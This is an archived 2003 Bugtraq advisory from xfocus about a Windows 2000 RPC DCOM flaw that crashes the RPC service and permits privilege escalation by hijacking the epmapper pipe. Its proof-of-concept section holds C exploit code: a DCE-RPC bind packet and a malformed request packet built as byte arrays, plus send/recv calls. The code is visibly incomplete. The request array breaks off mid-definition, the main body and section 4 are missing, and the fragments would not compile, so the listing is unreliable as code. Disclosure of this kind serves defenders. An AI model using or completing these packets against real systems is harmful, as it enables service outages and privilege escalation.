

# Microsoft Windows 2000 RPC DCOM Interface DOS AND Privilege Escalation Vulnerability

*Source:* <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2003-07/0253.html>

---

*From:* benjurry (*benjurry\_at\_xfocus.org*)

*Date:* 07/20/03

To: <BUGTRAQ@SECURITYFOCUS.COM>

Date: Mon, 21 Jul 2003 03:01:13 +0800

Microsoft Windows 2000 RPC DCOM Interface DOS AND Privilege Escalation Vulnerability

## 1.Description:

There is a vulnerability in the part of RPC that deals with message exchange over TCP/IP. The failure results because of incorrect handling of malformed messages.

By sending a malformed messages to DCOM \_\_RemoteGetClassObject interface,The RPC Service will be crashed,and all service and application depending on RPC service will be abnormal.

If attacker have an account ,he can hijack epmapper pipe and 135 port Privilege Escalation after RPC service is crash.

## 2.Affected Systems:Windows 2000 +SP3

Windows 2000 +SP4+

## 3.Proof of concept codes:

```
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
```

```
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
```

```
unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
```



```
i=recv(sock,buf1,1024,MSG_PEEK);  
if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)  
{  
    printf("Send failed.Error:%d\n",WSAGetLastError());  
    return;  
}  
i=recv(sock,buf1,1024,MSG_PEEK);  
}
```

#### 5.About XFOCUS.ORG

Xfocus is a non-profit and free technology organization which was founded in 1998 in China. We are devoting to research and demonstration of weaknesses related to network services and communication security.

We hope that we can use new technical tools to achieve our goal, and to broaden our outlook. We also hope we can communicate and help with each other through this amazing Internet.

This site is created for publishing some documents , codes and utilities of our research work. Any suggestions are welcome , please contact us at [webmaster\\_at\\_xfocus.org](mailto:webmaster_at_xfocus.org) .

From the Internet. For the Internet. Have fun!